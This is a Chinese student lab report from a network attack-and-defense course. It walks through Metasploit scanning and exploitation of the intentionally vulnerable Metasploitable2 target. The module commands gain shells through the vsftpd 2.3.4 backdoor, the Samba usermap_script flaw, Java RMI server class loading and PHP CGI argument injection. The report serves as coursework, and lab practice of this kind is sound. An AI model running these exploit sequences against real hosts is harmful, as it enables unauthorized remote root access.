20222320 2024-2025-1 《网络与系统攻防技术》实验6实验报告
目录
1.实验目标
掌握metasploit的用法。
2.实验内容
下载官方靶机Metasploitable2,完成下面实验内容。
- (1)前期渗透
- (2)Vsftpd源码包后门漏洞(21端口)
- (3)SambaMS-RPC Shell命令注入漏洞(端口139)
- (4)Java RMI SERVER命令执行漏洞(1099端口)
- (5)PHP CGI参数执行注入漏洞(80端口)
3.实验过程
3.1 前期渗透
1.首先查找主机:
msfconsole
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24
查找到几个主机,1.108就是我们要攻击的主机了:
2.端口扫描:
search portscan/tcp
use 0
set RHOSTS 192.168.1.108
run
扫到许多开放端口
3.扫描系统:
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.108
run
可以看出,这个是UNIX系统的Samba 3.0.20-Debian,445端口有漏洞
3.2 Vsftpd源码包后门漏洞(21端口)
对VSFTPD 2.3.4 的攻击就是通过向21端口发送一个特定字节的序列“:)结尾”来触发恶意的vsf_sysutil_extra()函数。一旦成功执行,就会在系统的6200端口打开一个后门,从而进行利用
选相应载荷就行
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.108
run
看到+号就成功了,输入ifconfig显示的是靶机的ip,攻击成功
3.3 SambaMS-RPC Shell命令注入漏洞(端口139)
该漏洞传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.108
run
入侵成功后用uname -a验证,看到系统名,证明成功
3.4 Java RMI SERVER命令执行漏洞(1099端口)
Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。
之前扫描已经发现1099端口打开了
search exploit/multi/misc/java_rmi_server
use 0
set RHOST 192.168.1.108
run
攻击完成后,用
sessions -i 3 --进入服务
shell --进入shell
进入shell用whoami验证,结果为rootx
3.5 PHP CGI参数执行注入漏洞(80端口)
该漏洞影响 PHP 的 CGI 模式。在此模式下,Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然后脚本对其进行一些处理,查询字符串被解析并传递给命令行上的 PHP 解释器
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.108
exploit
攻击顺利完成,输入dir:
4.问题及解决方案
按照实验指导书完成的,过程顺利,没什么问题
5.学习感悟、思考等
这次实验六在我看来倒不如说是对上次作业的一个小复习,这次实验的靶机环境稳定,简单;而且过程也详细给出了,基本没什么难点。是一次对metasploit框架的验证性复习,通过这次的几个端口攻击,我总结到就是扫主机,扫端口,查看端口是否有对应漏洞,根据漏洞进行攻击。流程就是这样,用工具让流程简单化了而已。